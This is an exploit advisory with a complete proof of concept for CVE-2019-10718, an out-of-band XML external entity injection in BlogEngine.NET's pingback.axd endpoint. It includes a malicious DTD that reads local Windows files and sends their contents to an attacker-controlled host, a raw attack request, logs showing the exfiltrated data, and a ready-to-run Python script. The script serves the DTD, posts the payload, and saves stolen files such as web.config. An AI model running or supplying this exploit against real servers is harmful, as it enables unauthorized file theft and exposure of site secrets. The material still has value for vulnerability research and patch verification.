BlogEngine.NET versions 3.3.6 and 3.3.7 suffer from an XML external entity injection vulnerability.
fdea6782e2dd354a53cef938e93cf070
# Exploit Title: Out-of-band XML External Entity Injection on BlogEngine.NET
# Date: 19 June 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://blogengine.io/
# Version: v3.3.7
# Tested on: 3.3.7, 3.3.6
# CVE : 2019-10718
#1. Description
#==============
#BlogEngine.NET is vulnerable to an Out-of-Band XML External Entity
#Injection attack on **/pingback.axd**.
#2. Proof of Concept
#=============
#Host the following malicious DTD on a web server that is accessible to the
#target system:
#~~~
#<!ENTITY % p1 SYSTEM "file:///C:/Windows/win.ini">
#<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://$LHOST/X?%p1;'>"> %p2
#~~~
#Submit a request to `pingback.axd` containing a malicious XML body:
#~~~{command="REQUEST"}
#POST /pingback.axd HTTP/1.1
#Host: $RHOST
#Accept-Encoding: gzip, deflate
#Connection: close
#User-Agent: python-requests/2.12.4
#Accept: */*
#Content-Type: text/xml
#Content-Length: 131
#<?xml version="1.0"?>
#<!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd">
#<foo>&e1;</foo>
#<methodName>pingback.ping</methodName>
#~~~
#The application will request the remote DTD and submit a subsequent request
#containing the contents of the file:
#~~~
#$RHOST - - [17/May/2019 12:03:32] "GET /ex.dtd HTTP/1.1" 200 -
#$RHOST - - [17/May/2019 12:03:32] "GET
#/X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1
#HTTP/1.1" 200 -
#~~~
#! /usr/bin/env python3
import argparse
import http.server
import json
import multiprocessing
import os
import re
import requests
import sys
import time
import urllib
"""
Exploit for CVE-2019-10718
CVE Identified by: Aaron Bishop
Exploit written by: Aaron Bishop
Submit a XML to the target, get the contents of the file in a follow up request from the target
python3 CVE-2019-10718.py --rhost http://$RHOST --lhost $LHOST --lport $LPORT --files C:/Windows/win.ini C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config C:/inetpub/wwwroot/iisstart.htm C:/Windows/iis.log C:/Users/Public/test.txt
Requesting C:/Windows/win.ini ...
$RHOST - - [16/May/2019 17:07:25] "GET /ex.dtd HTTP/1.1" 200 -
$RHOST - - [16/May/2019 17:07:25] "GET /X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1 HTTP/1.1" 200 -
Requesting C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config ...
$RHOST - - [16/May/2019 17:07:26] "GET /ex.dtd HTTP/1.1" 200 -
Unable to read C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config
Requesting C:/inetpub/wwwroot/iisstart.htm ...
$RHOST - - [16/May/2019 17:07:30] "GET /ex.dtd HTTP/1.1" 200 -
Unable to read C:/inetpub/wwwroot/iisstart.htm
Requesting C:/Windows/iis.log ...
$RHOST - - [16/May/2019 17:07:34] "GET /ex.dtd HTTP/1.1" 200 -
Unable to read C:/Windows/iis.log
Requesting C:/Users/Public/test.txt ...
$RHOST - - [16/May/2019 17:07:38] "GET /ex.dtd HTTP/1.1" 200 -
$RHOST - - [16/May/2019 17:07:38] "GET /X?This%20is%20a%20test HTTP/1.1" 200 -
"""
xml = """<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://{lhost}:{lport}/ex.dtd">
<foo>&e1;</foo>
<methodName>pingback.ping</methodName>
"""
dtd = """<!ENTITY % p1 SYSTEM "file:///{fname}">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://{lhost}:{lport}/X?%p1;'>"> %p2;
"""
proxies = {
"http": "127.0.0.1:8080",
"https": "127.0.0.1:8080"
}
file_queue = multiprocessing.Queue()
response_queue = multiprocessing.Queue()
response_counter = multiprocessing.Value('i', 0)
class S(http.server.SimpleHTTPRequestHandler):
server_version = 'A Patchey Webserver'
sys_version = '3.1415926535897932384626433832795028841971693993751058209749445923078'
error_message_format = 'Donde esta la biblioteca?'
def _set_headers(self):
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.end_headers()
def do_GET(self):
if self.path.endswith(".dtd"):
self._set_headers()
self.wfile.write(dtd.format(fname=file_queue.get(), lhost=self.lhost, lport=self.lport).encode('utf-8'))
elif self.path.startswith("/X"):
self._set_headers()
response_counter.value += 1
response_queue.put(self.path)
self.wfile.write('<response>Thanks</response>'.encode('utf-8'))
else:
self._set_headers()
self.wfile.write('<error>?</error>')
def start_server(lhost, lport, server):
httpd = http.server.HTTPServer((lhost, lport), server)
httpd.serve_forever()
def main(rhost, lhost, lport, files, timeout, proxy, output_dir):
print(output_dir)
if not output_dir:
return
for f in files:
file_queue.put_nowait(f)
server = S
server.lhost, server.lport = lhost, lport
p = multiprocessing.Process(target=start_server, args=(lhost,lport,server))
p.start()
for num, f in enumerate(files):
print("\nRequesting {} ...".format(f))
count = 0
r = requests.post(rhost + "/pingback.axd", data=xml.format(lhost=lhost, lport=lport), proxies=proxies if proxy else {}, headers={"Content-Type": "text/xml"})
response = True
while num == response_counter.value:
if count >= timeout:
response = False
response_counter.value += 1
print("Unable to read {}".format(f))
break
time.sleep(1)
count += 1
if response:
os.makedirs(output_dir, exist_ok=True)
with open("{}/{}".format(output_dir, os.path.splitdrive(f)[1].replace(':','').replace('/','_')), 'w') as fh:
fh.write(urllib.parse.unquote(response_queue.get()).replace('/X?',''))
p.terminate()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Exploit CVE-2019-10718 OOB XXE')
parser.add_argument('-r', '--rhost', action="store", dest="rhost", required=True, help='Target host')
parser.add_argument('-l', '--lhost', action="store", dest="lhost", required=True, help='Local host')
parser.add_argument('-p', '--lport', action="store", dest="lport", type=int, required=True, help='Local port')
parser.add_argument('-f', '--files', nargs='+', default="C:/Windows/win.ini", help='Files to read on RHOST')
parser.add_argument('-t', '--timeout', type=int, default=3, help='How long to wait before moving on to next file')
parser.add_argument('-x', '--proxy', dest="proxy", action="store_true", default=False, help='Pass requests through a proxy')
parser.add_argument('-o', '--output', nargs='?', default="./CVE-2019-10718", help='Output directory. Default ./CVE-2019-10718')
args = parser.parse_args()
if isinstance(args.files, str):
args.files = [args.files]
main(args.rhost, args.lhost, args.lport, args.files, args.timeout, args.proxy, args.output)